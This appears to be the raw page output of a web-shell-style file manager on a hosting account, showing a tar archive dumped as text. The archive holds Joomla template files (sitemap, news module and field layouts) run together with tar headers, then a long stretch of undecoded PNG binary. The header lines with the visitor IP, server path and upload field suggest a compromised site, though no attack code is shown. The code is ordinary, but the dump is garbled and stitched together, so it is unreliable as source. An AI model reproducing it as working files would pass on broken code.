Your IP : 216.73.216.182


Current Path : /home/opticamezl/www/newok/
Upload File :
Current File : /home/opticamezl/www/newok/tmpl.tar

default_items.php000060400000000766151653452110010112 0ustar00<?php
/**
 * @version             $Id$
 * @copyright           Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license             GNU General Public License version 2 or later; see LICENSE.txt
 * @author              Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined('_JEXEC') or die;

// Create shortcut to parameters.
$params = $this->state->get('params');

// Use the class defined in default_class.php to print the sitemap
$this->displayer->printSitemap();default.php000060400000007140151653452110006702 0ustar00<?php
/**
 * @version         $Id$
 * @copyright       Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license         GNU General Public License version 2 or later; see LICENSE.txt
 * @author          Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers');

// Create shortcut to parameters.
$params = $this->item->params;

if ($this->displayer->canEdit) {
    $live_site = JURI::root();
    JHTML::_('behavior.framework', true);
    $ajaxurl = "{$live_site}index.php?option=com_xmap&format=json&task=ajax.editElement&action=toggleElement&".JSession::getFormToken().'=1';

    $css = '.xmapexcl img{ border:0px; }'."\n";
    $css .= '.xmapexcloff { text-decoration:line-through; }';
    //$css .= "\n.".$this->item->classname .' li {float:left;}';

    $js = "
        window.addEvent('domready',function (){
            $$('.xmapexcl').each(function(el){
                el.onclick = function(){
                    if (this && this.rel) {
                        options = JSON.decode(this.rel);
                        this.onComplete = checkExcludeResult
                        var myAjax = new Request.JSON({
                            url:'{$ajaxurl}',
                            onSuccess: checkExcludeResult.bind(this)
                        }).get({id:{$this->item->id},uid:options.uid,itemid:options.itemid});
                    }
                    return false;
                };

            });
        });
        checkExcludeResult = function (response) {
            //this.set('class','xmapexcl xmapexcloff');
            var imgs = this.getElementsByTagName('img');
            if (response.result == 'OK') {
                var state = response.state;
                if (state==0) {
                    imgs[0].src='{$live_site}/components/com_xmap/assets/images/unpublished.png';
                } else {
                    imgs[0].src='{$live_site}/components/com_xmap/assets/images/tick.png';
                }
            } else {
                alert('The element couldn\\'t be published or upublished!');
            }
        }";

    $doc = JFactory::getDocument();
    $doc->addStyleDeclaration ($css);
    $doc->addScriptDeclaration ($js);
}
?>
<div id="xmap">
<?php if ($params->get('show_page_heading', 1) && $params->get('page_heading') != '') : ?>
    <h1>
        <?php echo $this->escape($params->get('page_heading')); ?>
    </h1>
<?php endif; ?>

<?php if ($params->get('access-edit') || $params->get('show_title') ||  $params->get('show_print_icon') || $params->get('show_email_icon')) : ?>
    <ul>
    <?php if (!$this->print) : ?>
        <?php if ($params->get('show_print_icon')) : ?>
        <li>
            <?php echo JHtml::_('icon.print_popup',  $this->item, $params); ?>
        </li>
        <?php endif; ?>

        <?php if ($params->get('show_email_icon')) : ?>
        <li>
            <?php echo JHtml::_('icon.email',  $this->item, $params); ?>
        </li>
        <?php endif; ?>
    <?php else : ?>
        <li>
            <?php echo JHtml::_('icon.print_screen',  $this->item, $params); ?>
        </li>
    <?php endif; ?>
    </ul>
<?php endif; ?>

<?php if ($params->get('showintro', 1) )  : ?>
    <?php echo $this->item->introtext; ?>
<?php endif; ?>

    <?php echo $this->loadTemplate('items'); ?>

<?php if ($params->get('include_link', 1) )  : ?>
    <div class="muted" style="font-size:10px;width:100%;clear:both;text-align:center;">Powered by <a href="http://www.jooxmap.com/">Xmap</a></div>
<?php endif; ?>

    <span class="article_separator">&nbsp;</span>
</div>index.html000060400000000036151653452110006537 0ustar00<!DOCTYPE html><title></title>horizontal.php000064400000001500151721412560007446 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $app->getDocument()->getWebAssetManager();
$wa->registerAndUseStyle('mod_articles_news_horizontal', 'mod_articles_news/template.css');

if (empty($list)) {
    return;
}

?>
<ul class="mod-articlesnews-horizontal newsflash-horiz mod-list">
    <?php foreach ($list as $item) : ?>
        <li itemscope itemtype="https://schema.org/Article">
            <?php require ModuleHelper::getLayoutPath('mod_articles_news', '_item'); ?>
        </li>
    <?php endforeach; ?>
</ul>
_item.php000064400000003450151721412560006360 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Layout\LayoutHelper;
?>
<?php if ($params->get('item_title')) : ?>
    <?php $item_heading = $params->get('item_heading', 'h4'); ?>
    <<?php echo $item_heading; ?> class="newsflash-title">
    <?php if ($item->link !== '' && $params->get('link_titles')) : ?>
        <a href="<?php echo $item->link; ?>">
            <?php echo $item->title; ?>
        </a>
    <?php else : ?>
        <?php echo $item->title; ?>
    <?php endif; ?>
    </<?php echo $item_heading; ?>>
<?php endif; ?>

<?php if ($params->get('img_intro_full') !== 'none' && !empty($item->imageSrc)) : ?>
    <figure class="newsflash-image">
        <?php echo LayoutHelper::render(
            'joomla.html.image',
            [
                'src' => $item->imageSrc,
                'alt' => $item->imageAlt,
            ]
        ); ?>
        <?php if (!empty($item->imageCaption)) : ?>
            <figcaption>
                <?php echo $item->imageCaption; ?>
            </figcaption>
        <?php endif; ?>
    </figure>
<?php endif; ?>

<?php if (!$params->get('intro_only')) : ?>
    <?php echo $item->afterDisplayTitle; ?>
<?php endif; ?>

<?php echo $item->beforeDisplayContent; ?>

<?php if ($params->get('show_introtext', 1)) : ?>
    <?php echo $item->introtext; ?>
<?php endif; ?>

<?php echo $item->afterDisplayContent; ?>

<?php if (isset($item->link) && $item->readmore != 0 && $params->get('readmore')) : ?>
    <?php echo LayoutHelper::render('joomla.content.readmore', ['item' => $item, 'params' => $item->params, 'link' => $item->link]); ?>
<?php endif; ?>
vertical.php000064400000002075151721412560007076 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $app->getDocument()->getWebAssetManager();
$wa->registerAndUseStyle('mod_articles_news_vertical', 'mod_articles_news/template-vert.css');

if (!$list) {
    return;
}

?>
<ul class="mod-articlesnews-vertical newsflash-vert mod-list">
    <?php for ($i = 0, $n = count($list); $i < $n; $i++) : ?>
        <?php $item = $list[$i]; ?>
        <li class="newsflash-item" itemscope itemtype="https://schema.org/Article">
            <?php require ModuleHelper::getLayoutPath('mod_articles_news', '_item'); ?>

            <?php if ($n > 1 && (($i < $n - 1) || $params->get('showLastSeparator'))) : ?>
                <span class="article-separator">&#160;</span>
            <?php endif; ?>
        </li>
    <?php endfor; ?>
</ul>
static.php000060400000001647151721413330006550 0ustar00<?php
/*------------------------------------------------------------------------
# mod_globalnews - Global News Module
# ------------------------------------------------------------------------
# author    Joomla!Vargas
# copyright Copyright (C) 2010 joomla.vargas.co.cr. All Rights Reserved.
# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://joomla.vargas.co.cr
# Technical Support:  Forum - http://joomla.vargas.co.cr/forum
-------------------------------------------------------------------------*/

// no direct access
defined('_JEXEC') or die;

foreach ($list as $item) :  ?>

<div class="gn_static gn_static_<?php echo $globalnews_id; ?>">
	<?php echo $item->content; ?>
</div>
<?php 
endforeach; ?>
<?php
if ( $more == 1 && $group->link ) : ?>
<div> <?php echo JHTML::_('link', $group->link, JText::_('More Articles...'), array('class'=>'readon') ); ?> </div>
<?php
endif;list.php000064400000001200151721413330006221 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.List
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

$fieldValue = $field->value;

if ($fieldValue == '') {
    return;
}

$fieldValue = (array) $fieldValue;
$texts      = [];
$options    = $this->getOptionsFromField($field);

foreach ($options as $value => $name) {
    if (in_array((string) $value, $fieldValue)) {
        $texts[] = Text::_($name);
    }
}

echo htmlentities(implode(', ', $texts));
browser.php000060400000003102151721413330006730 0ustar00<?php
/*------------------------------------------------------------------------
# mod_globalnews - Global News Module
# ------------------------------------------------------------------------
# author    Joomla!Vargas
# copyright Copyright (C) 2010 joomla.vargas.co.cr. All Rights Reserved.
# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://joomla.vargas.co.cr
# Technical Support:  Forum - http://joomla.vargas.co.cr/forum
-------------------------------------------------------------------------*/

// no direct access
defined('_JEXEC') or die;

$doc = JFactory::getDocument();
$doc->addScript('modules/mod_globalnews/scripts/browser.js');
?>

<div class="gn_browser" id="gn_container_<?php echo $globalnews_id.'_'.$j; ?>">
  <div class="gn_marquee" id="gn_marquee_<?php echo $globalnews_id.'_'.$j; ?>" style="position: absolute;">
    <?php foreach ($list as $item) : ?>
    <div class="gn_news"> <?php echo $item->content; ?>
      <div class="gn_clear"></div>
    </div>
    <?php endforeach; ?>
  </div>
</div>
<?php
if ( $more == 1 && $group->link ) : ?>
<div> <?php echo JHTML::_('link', $group->link, JText::_('More Articles...'), array('class'=>'readon') ); ?> </div>
<?php
endif; ?>
<script type="text/javascript" language="javascript">
<!--
var GN_Browser_<?php echo $globalnews_id.'_'.$j; ?> = new GN_Browser("gn_marquee_<?php echo $globalnews_id.'_'.$j; ?>","gn_container_<?php echo $globalnews_id.'_'.$j; ?>","GN_Browser_<?php echo $globalnews_id.'_'.$j; ?>",<?php echo $params->get('delay', 3000) ?>);
-->
</script>
scroller.php000060400000003021151721413330007072 0ustar00<?php
/*------------------------------------------------------------------------
# mod_globalnews - Global News Module
# ------------------------------------------------------------------------
# author    Joomla!Vargas
# copyright Copyright (C) 2010 joomla.vargas.co.cr. All Rights Reserved.
# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://joomla.vargas.co.cr
# Technical Support:  Forum - http://joomla.vargas.co.cr/forum
-------------------------------------------------------------------------*/

// no direct access
defined('_JEXEC') or die;

$doc = JFactory::getDocument();
$doc->addScript('modules/mod_globalnews/scripts/scroller.js');
?>

<script type="text/javascript" language="javascript">
<!--
var GN_Pausecontent_<?php echo $globalnews_id.'_'.$j; ?>=new Array();

<?php  $k=0;  foreach ($list as $item) : 
${'content'.$k} = $item->content;
${'content'.$k} = preg_replace( "/[\n\t\r]+/",' ',${'content'.$k} );
${'content'.$k} = str_replace( "'", "\\'",${'content'.$k} ); ?>
GN_Pausecontent_<?php echo $globalnews_id.'_'.$j; ?>[<?php echo $k; ?>]='<?php echo ${'content'.$k}; ?>';
<?php  $k++;  endforeach; ?>

new GN_Pausescroller(GN_Pausecontent_<?php echo $globalnews_id.'_'.$j; ?>, "gn_scroller_<?php echo $globalnews_id.'_'.$j; ?>", "", <?php echo $params->get('delay', 3000) ?>);
-->
</script>
<?php
if ( $more == 1 && $group->link ) : ?>
<div> <?php echo JHTML::_('link', $group->link, JText::_('More Articles...'), array('class'=>'readon') ); ?> </div>
<?php
endif;slider.php000060400000003634151721413330006541 0ustar00<?php
/*------------------------------------------------------------------------
# mod_globalnews - Global News Module
# ------------------------------------------------------------------------
# author    Joomla!Vargas
# copyright Copyright (C) 2010 joomla.vargas.co.cr. All Rights Reserved.
# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://joomla.vargas.co.cr
# Technical Support:  Forum - http://joomla.vargas.co.cr/forum
-------------------------------------------------------------------------*/

// no direct access
defined('_JEXEC') or die;

$linkMore = '';
$linkNext = '';
if ( $more == 1 && $group->link ) {
	$linkMore = '<a href=\"'.$group->link.'\">'.JText::_('More Articles...').'</a>';
}
if ( $params->get( 'next', 1 ) == 1 ) {
 	$linkNext = JText::_('Next');
}
?>

<div id="gn_slider_<?php echo $globalnews_id.'_'.$j; ?>" class="gn_slider gn_slider_<?php echo $globalnews_id; ?>">
  <div class="gn_opacitylayer">
  <?php foreach ($list as $item) : ?>
    <div class="gn_news">
	<?php echo $item->content; ?>
	</div>
  <?php endforeach; ?>
  </div>
</div>
<div class="gn_pagination gn_pagination_<?php echo $globalnews_id; ?>" id="paginate-gn_slider_<?php echo $globalnews_id.'_'.$j; ?>"></div>
<?php

$doc = JFactory::getDocument();

if (!defined('_MOD_VARGAS_ONLOAD')) {
    define ('_MOD_VARGAS_ONLOAD',1);
    $doc->addScriptDeclaration("function addLoadEvent(func){if(typeof window.addEvent=='function'){window.addEvent('load',function(){func()});}else if(typeof window.onload!='function'){window.onload=func;}else{var oldonload=window.onload;window.onload=function(){if(oldonload){oldonload();}func();}}}");
}
$doc->addScript('modules/mod_globalnews/scripts/slider.js');
$doc->addScriptDeclaration("addLoadEvent(function(){GN_ContentSlider('gn_slider_".$globalnews_id."_".$j."',".$params->get('delay',3000).",'".$linkNext."','".$linkMore."');});");

?>lang/16a.png000064400000062612151721413450006574 0ustar00�PNG


IHDR���M�tEXtSoftwareAdobe ImageReadyq�e<e,IDATx���	�]u}7��{g�2YH�$,J�-�������J]ڪ��m��屵��K��i�Z�m�Z������R1(.X@@LH�$�l�e��Ϲ�e&3�3iN�����f�{O�:��~��9��;�$I�^!�u����g����i�ۍ�1�BA�@�@��Q�G)�k��oՊ�]�z�7>���R.���+cӫ�wD��?���٨wt�o�q�	I�~��ѷl���b8��^�O��j�{Z���i���Gy��֪C���!�M/|�x�l,��bD�Q����4�4�_�9y��s^yմ��;>w�
�}����!��Wu��N\8��$QHo�U(D����6q||�*y��;��{����'F��.��Q�~�d�|�싟���+_z�
�_}���
��,��޹1~���Y+__�������ǟ�.J���]rz<��F<��}ғ��6v7u�^��V3.X~��4�1���~��mL��B6�"���Vo�[9����V�9��ٌ�Kω�e��o��H!Z��^܌�O��E���;g�U��.���h4�x�Kc婋�z݆��Vѽ�}��V�S"��z˭��k|4��u���_���>�7�w̋�ܞ��Ģ�Ht�����1�ǚ;�S߾��(�x��ΌǞ��q���3�{�͞޵�_�Ya�������Ίn�>.8��X��G�ތ�#���cΎ8����'������w�@���u�Z���cC�Jӊ�bg\x��qv��vh������j��>����#�F���m��iR�Gi�P�^�5��.�����Ɔd�47�,sq��H��G^y��8q�x��V��G>}k��և�>t��8&����(K��k�J��7�o�Ǝ��o�ԋ��c�opK��=��q~5��7��R1��EsxXy���b�� ���ߎ_}�����b�̲���HFF��s�Hc�S����~�g�k�zytvwG�l�O�,�.�hE:����h�K��=�}�1Q����/�[^y^�=�mv��Z�Gb`l8�J=�+�}Zl�i\�����v�Ǥ��]����1���BG{��L�H��⬷!�j5�?��ֱ����֎(�D�B#*�K�W�M��
iv�t�Q��c`���A�n��p5ZC�X�:���(�������$���/[�7슱��������������� �H5>�/�?�uS��Uʼn�ͷ~<�yu|nj
O��Z#S�7�~Tڟ��}/�_�7�?���s�&{���((�x��xE:�e�6��,-쏱�a{>'�4��i��rIl�/n��`��;>��ŏ^�&E�����O��$-�e^n���7ƒ�E1\k?=�w �~�f��sb��N;.'�F%����(t&�Y���z�}�s��Lcra�"�U*v\^�U��]�=�9��q�=���5��wa�sm̞����q�����w%���8�_��8��.�sҏ����MȰ��g��2>j�}�����p����?y8�;O�+�~�B���ү^=i|L���� ���Q��Eq뎴0��k�Ė��P�3i4Ư�ͮ?�֣��16�מ�k�Uʱvǃ���hƦ���'Ď�Pԛ�8�S⡑uq̜��n��O�\g�`��G5�'[b�66�����b��5�%{Qr����;C��T^���Z��Q)zv3�¼a�ñ�&�<�~��gy�KE;.'�juR!h��YY^��8m���Wv�6�5>���f���㤐��hW���Oh�1�6_��1�mv/5K>��8vɒ}gv[��累�8���&o�燷m�x��~N� )���j�`e,zK��N��=��V<i���u����լG#}\�ܰ�r+�c����� r&�<jP�����v�Q�}�P�'h5�Q��츜��ƏƒH�صkF�OꍨԝA�m��ٔt]��1���7����
�q��DRJ��${>��I-�U�>.��I�6�9�t�/��ꈍ�Yl�.�O��qŠ��?�˫�Ik�����3�y�k#i��ƃ[_�3n^��m�'�����q�=�W��J�z�W��d��g=-n�xc\��g������Uq����k���.q�Vs�56~���qbgW���ef�#=z}0-��u��!HF
��{��E&�@kL!-hպ�3�-�re��~kj�=�RH`䑟3���Q�^��}���������c��^��O��/~ؾoNog�~��,����ͤKZ#�o�y���wv���f����k���<-*��SX����s�����_'?nY|��ߍ�����/����Յ�o[����]|}�Eq�o];��8�q���j��d��t��ͷ�6��K����5q����O�����������6�tS���z��j�ܲ�V\��c�C���3�lJ�}��m�<Z�����摴W�=�J�?>�5�Ɨ�������V�a�5�f��7�ǿ9�kn�~M������>��zi,�����l�_�֊����J��?��]�7���ͯyi�ٻ�6�k�碖�t�!u;�o��{����=�"{��GF��w}k��S=5Oq�x� ]�{z�g5g$;�qM�<-ydP����]J�]}r\?�}ە����ĝ��wn�!w�������9>��V)_s���N��Q�~L��L�#+��U���=܌�ܰc�cn��x��#{�����;��S�O~�/�7�0^���D|�*ϫ~�����'}��׿7�=�ܑ&W�i~��<rȣ�.6����C��<FT�qT�����
��Q��3*?����\j�ye���ի�~����J�����X��f��2�[lM�d��B� y y y��(�#+��!Ovz����?�M����*y y y��(ʣ�$�/Ļc��
3(��0��
3(��0��(��0��
3(��0��
3(��0
3(��0��
3(��0��
3�0��
3(��0��
3(��0��(��0��
3(��0��
3(���
3(��0��
3(��0��
3�0��
3(��0��
3(��0
3(��0��
3(��0��
3(���
3(��0��
3(��0��D!�u����g����I�����H� y y y��(ʣ��5w�_��P~�򫯺<�0 ��jn:H&���_����?�<r����7e|\w���}�}�
O���'��i������G�nUTq��/�����t9*F�����{ϔGy~��i|,��O�#�<^��wL��/x���7_�R���W�(ۗg��7i6���sf�Q�'I�T�����@���q���g��<s�f+.�ः?��g�UIc����L�`��\G�W��G^y��q���櫥��_9��i֏tx��mãq�<�Y?Z�(-;{�-�=_56�i|�5>�<�]z�A�u����#ԯf�mV�;�z=���h��/�d�,7Aq��ȶ	�@�a�>]���8��o�?�Z��Õرc�T����K���|�y�y�<]� YI�h��őm#�|���=���'�\�?�����]���z�ї�W-�U^y�[�������Ը����W�	���|�#Z������gG��kʶYa�f����h��ЌJ��t��]���Z1��{�g�
��Vk100������ྱ��(F�f|�G5�b�}�����ކ#3_��w��/��
;��4���(ER��>n:�ې�|��ߡ�h��f0�{�WGv��Ǐ��՟k��ώ&GxCT�+��-S�U�0/�����;�3��rZ��������K��pe�Y��@*��K�j�����m���K�\���Gchh�g��C��X�[�l��g�1g{9=ȯO~�e���S
sR��t���|櫿�r,����_l}�;����X���t��}�.s~��S�����[h�]~�y����;��篵�硒�ߝՑ���/���0OX?���*֏�d�6��u�c��>�z���׏좘]��*��/�Ty�3��9;�2���M�m�}��¼ߙ�=N�^!��Fgɋi�ˣk����|�3�����y�~TJ�M�mJ��Z�����Ltdyt�츜ԣkG���uc�(5�q\Z���:�m~Og��e;.'ӭ���o�;�n�V3���X|�I��#�~��w}��]�8�6�[?:��U�q$�G�uQ��'�s&��H��{oa�3>ګH�2����
3/I�7Z�d�N��hD�.���y$Y�?h�}�g�zˎ�-�J�K�FҚ�>N��Qi6츜|�w/����]�~���f˖-q���wy����8�x`���ϭ�G�0�EGgw���W�V���H����ˣ�ѕ��	��޺�]�\z�IS�i�3���(v/�����R���fu�=���V�)V�X����޸/�-�v�
6��'���e�U�X�>���	/+ri9�6jv\N^U��'t�ܷ-۫�����t�.�kQZtl��fpP�F��]���v\N��/������8�Y�&�[��;.ǂ�9�3��2_M(̅z�~ԭG�0w�yF��+b��B�������Eϓa��\M���L�0����#�#v��P(�z��阞�����C:>�U^~�#ݷI1b�3V�߆\\����ʕ+g��=��g�׾�Cv�k)�3�<ILJkf�<&�-��*5�Ց�W�|௣���Ʈ/~9�ي9�����k�ݦ]�����E���8��\h�m���⬷�0Nx��J�G�A������ZQ��#��=��tʹ�ކ<|��5q�ó�����{츼�G:_����;�3�n����#�G��sb����~��}܂7��}�y�d	ֳ~ddžC��V�ï�]���-��>���ߗǑ�#I�12��o��φ�q��G���1d�:J�����q��W�\��<��<�_?6Z?�~5�m��榷��m��)���`k�$�dp�
y�y�y�CGQYaήtΞ(��h������9o����<��<
I�؋p�fP�@a�fP�@a�f@a�fP�@a�fP�@a�P�@a�fP�@a�fP��fP�@a�fP�@a�f@a�fP�@a�fP�@afP�@a�fP�@a�fP��fP�@a�fP�@a�P�@a�fP�@a�fP�@afP�@a�fP�@a�%
�3���8��VN��n7�@
y�y�y�CGQ��i(���4�������O<�Z�H�bq��<�0 ��j��+�\5���/�3~�?�O�F<�˿z�
�}����!�=���<r��/�mo�t�*�s�G?��n�4[QZ�0���'�C���ߧ���S��~��皯�W�����J"�VQ�Նˮ�F9��];i||�߳������5��K��vۏ~�(�Jq���?N�h4��o���Ѹ�K�|�W��]oz���=~�7�[����������J��n�G^y�����aΣ�������?-����D�jF��W��g7�����W�9��+�գt=oD����%�X}�<rʣ��矲xڹ��+NG�rߎ��Y+n�N���{�k�����8��Sb���Q[�6]���:����~����K�,��+WF�:I����h��7V�ol�o�<ʼnkӢ��m#�|�x������.@#�rl��V1����c�Ƙ[+
�t�+M�����W�z3�wUc�`y�w[��xOI��?�|e�zt��t=N��;&ߓ$�Z��<�^�6��i�h$1R�ǎ�ꄹ�H�x�q��yݑm�m�>��]�1<<�Z-.���X2~��?��-�D)�Gz�>3�����Yϊ������ې�F���h��=�+��
O�_���
����i6ې�j�;��Qk�ӛ�c޶�hm����w���3��&-5I:>jv\^y��{6?홣�w��Ǵ�+�գұ�Y�b�@{LT��16X�yKQ*��ߠ��z:_-���܁�Z�֦�UCc�i�U��M������cٲe�0�
쟢��oD�´8zc�
wƅK?g����^����*��=��%����;���=���_�z�m��rD_�����?��lC>��Jl�˗��r�p�G���Q�~m�:i[�nw$���gvIF�ٲ��ʣ\�����_�o*�
�5��w�9U/[?�r��K��PZ��=,&E�ׂ9]�uǐ��Q/Goig�
���]�0�ϬG�c����0��4�v\N���?K���`ɾ�?��i`�s����݅���g� +��q旾�6.�`l>6^=��Ƃx��mЈ�˗Ǟm�����']�h���ʹ����-/�~ᒘ�hFkxxF��??�KE;.'�J5[�cg纸uCw���h�����(�@to�3>	�^�
s��rܱv\n��k�oN��Z�MzL}}���Q6>r=�\�P!��f��}�QJ��ZIs��h<�46_{$K^�Z����eӬ)����Kv\�y�����Q_��˦M��B||�s�s�=���c㾎�#�b��Oɦ�ظqc�p�	�0��ϼ<�;n�h��w���G�f˖-q��o���(hi!��]N6ó�I�����
Ae,jžx���Cq��߈Fל(]0����m�;��G���`*��J�J&���o�L;�G��c,]��{��Jf���z�z��H��x��9?�V�ۮ�L,�?>柰 �wp�B=�ƻ��ǔ9�#do{�U����x��ſ��+���� m�]q�'ğ��q���}���~����γ�s��‹������E~���6{Ҕ�w�ƃu,�#�r%
iIkf�ШGU��r5�?�7
,�S�����[\|�`4�.G��:��ʿ��'ͣ�����5�7��%�J��'��q�|��'�?Ϟ��v]N-�{Z��y�p3�+.>���?����ї��d��f3ݦa����?��(�]��F�Xe�#�{���ݏL�B����][��^��0go#י����x�.�>������hƓ�?)FGv�'?�o�K2�Ν�s��V��X���ٽ��^�U�
G.���G�j�J�mg�7>��q��q�φ��wG�^��3����*��J9z:���7V&���|�h��I�(��ER�'F&\+��}+L3��V�s���|U�޾�z�����^!��{{N�v��9���.�,�����E�E)�7.}�c&�C���/�;vij���X�f�=�W��Z$=�]�~MWgq�'S'�4Ѫ��<��#��\�GO:����T�P��jK��G�+#]���;��g����~�s�uɅ���0v��գ+�z$]i�����<r�����N���1e���	�KͲm��z�KIV�^��%�o����A�{���o?�=v7���Wo��1��Nv��{d�~�<4x�m��Ͷv���#+�Ckj��(D�u�|���Y,���HW6?M����/��<�2>�W��<Zq�Ȏ(DIGA���=t�s���O�mv�9���ٯ���{�����I���S(�!�!�!yEyd�9;�=w3��i��]H����
T�@�@��Q�G!I{��*�fP�@a�fP�@a�P�@a�fP�@a�fP�@afP�@a�fP�@a�f@a�fP�@a�fP�@a�P�@a�fP�@a�fP��fP�@a�fP�@a�f@a�fP�@a�fP�@afP�@a�fP�@a�fP��fP�@a�fP�@a�G�R�W�P��~��$I����+�"ˡ�P�Ho�4���(y�C�<8|y�s}����_(��nn��l�׾�+��7D�8�'���
����ÝG���<r�c�_rHy,��*y��u�]vHy<���C�+)�₯�#�<���	y$�o���I�b��8���w�I�~N�_z~���s���--ͅ����t��r���5�w����S�tT�����)��ٌ�sϙY�$�S]s�<r�c��j|�\�Z�����y3���q�<r=<~_I���t���՚v|�W�,���ǡo�.��Ki��{?�G��x�E�ł��O�����,���15���s�^o���CΣ\k��h-v�T'�H�-9ןE�\m�#�<�z=���h��o-Ib�@"��F��<�ɣU�E}x8�;v��dr ݋G��<rI=
�H��vƌHǢ�̿<�ȣV��p:_�H���Yň�D~���mS�Gq�ˆZ�<r�W��m�0��R��"�f#��M�gq��S�/����}:���B���#j�9X��='�����·�/=��i2lF��].�Z���p���%�4�f�b�夞�Q��O���U�
9��F5J�i?�����6䣑�_/
E3�=X�҉iYN
Q�X�����a|�د�{���_Q:��(%]#֬�ş���ɴ�=ǵ�'fW�+�����0�V�+zK_K'�rD���쳗�G���x����0���cp�a��Gz0�ۻM;��k~�f+��)��mS���Έ�z'mCNyT*ѹs`�0'&�=�'�/ɶ��������1�r:����y9x��΍%��b�z\�r���c��I���ۆ���h����^K�/�b�?��+:FjQ(�"������b��1!��c�1��v^�~��b���liw|8=P�>���\��x��}1�^��+ʼny��֍;���~Z���+̃Cv|^��J�v<�����d�7Q�k>7���y1�Y���u9�Q�T�b�}��������'��=ې�%_�R,X�`v���`�…v�3݆|�Ӄ�ɖ������Xu�+�<ʕX{���N�(^��(�xc����K.�
��z֋�������1;.�<��vˮh�+�5�.�}�}V��u���X�u4����-)ףUh�+�?;�KfyiǶh�1�X.*�e�a��D��S�~��X��wx�F3*5g�sˣ2��
�Ƣ�l��}��(vt��d�[���ې_ym�<��,�c�����5��7Z
��:>ʑ�����2���ghg$�V�}���.G�Օ�}e���'�1�؛[�L�97�*I|��2���Q(�3���f����#�ɾK0K�b*
��g�CWDў�m����uV���o��W�A$�F�0�7b���z#�uޑ*'��C�}J|���;��.z̔X���++W��b1��3z|iΜغ��@��~��8��+Z�e/3����kq�]���>�X�bE��;����=��쥀�\������L�͆
���a���c�'�;���[O;/޺��QK��w|>>�f�>���G=���0{�����_�Z��wb�uo/�s�"ɮϜ�ʙ�e/j������]tBzP2�"������,Fy�F;Na~Th_^��Ӿ�FZ-�d�9>j�HJ�S�N��u��5Gd�Z�����_�����}����#�{�R����uk�k����5ӎ����=_y���t*��1��H�l:����	/7�z5z�A�U�|�Ҟ����̲Vw�?߂v�a��6+h]]���5��f�:0�Q��/3ss���	�c�o����|u���5�H��e���tͮ���/���ڵ�0st��F��+��^�jژ���~�fy����=��^�g��e|4b��/����v_y���OGF�q���L�}p@�+0>���-�=�϶-dg�
��)��}���t���+�";���P�Ho[�Lvً�<�!yȃ×Ǟœ��l_ŗ����?��y��C�#;J3iً�<�!yȃ×G�0���@a�fP�@a�fP�@afP�@a�fP�@a�fP��fP�@a�fP�@a�P�@a�fP�@a�fP�@afP�@a�fP�@a�f@a�fP�@a�fP�@a�P�@a�fP�@a�fP��fP�@a�fP�@a�f@a�fP�@a�fP��Q���:�[�QOo�$I�v�a�P��<��<��<�q�QJ���������1Vs���k)�k^�,y���+�<�<�}���!�M���C�c��>'��w}���>S9�q�Uw��S�מ�$^t��#=_]��C�����<r�#뻃7��Xp��Iwn�����./�n�{m�2#���7'�;f^:
��=�z�V���NrIq����)�h6���zO�'���To�]9�dy��/�b��!�"ٝKs����G^y4[I�}�Y�Ww��)���"N_��>�+n$��S�1=����F#:K%����}�fzВ��t�X}�<r�c�1X��׊Ҷ�1w�1{��:���y���Ou��m����:����G��9'>��gG�1��]}�uԛI�T�c��s�Yf��ȶ�G>y$�z�FF�90�7����S��/k�Q(���pad��#�<Z;����`� mLKt#]h�:�E��b1�Kѓ~�c�<r���R�k���������D��U�|�W���c�[vŦ�j��ƪG�U+F�m7���3㸓Ŏ���H�W�t��掝��pI�ENP\�(�m�S��J׋fz�ج�&����U��~�5����t�IZ�8}��x곞߻�����mC>j�Z��b�\���t�eې�F�š�h���Y�tk��ŕ����Fǂ�Mv��hoC~y���ۋP+]t�S�5�j�M�{6�
���9�]��s��-F��&��Tӹgh��c3��:Ʒ!�>}Q���[��-[Fb�ފ�C�̱k�o���8�-﷞�����t�Ho3Q�0_�i��eQ|xk�4���O���G�~4��k}�0���c�ضq ���q�i�D\�k����k�?�`~Ol�6h�礜����3T��=�s :��	���!�J%:��<�`���{Z#�˒t0%�dyGT��#W�c��or:����9�6��.�Wv�h�?m5�Ogfg����$�l�l��䑛�_zs/]C�e2a�����c��غu���	����G.yL����5[��]c?(���(�+˭X<�c�6����+z{{g��刾>;/��1������栦�~T��J���Ob�p-���ׯ�7n�k(vDwc�@)ף�а�sr��$�7��i�cp��j��r�N^��׷�hF+b��]ުF�����T�ro��'�l�#:�G�X��rRI��J�H�<�i�26�����x%��΋�iy�3/���R0~T����s|�]��]�g���?:;;�T��vA�^~��.����O�5��S���$n��m��/�ۻ
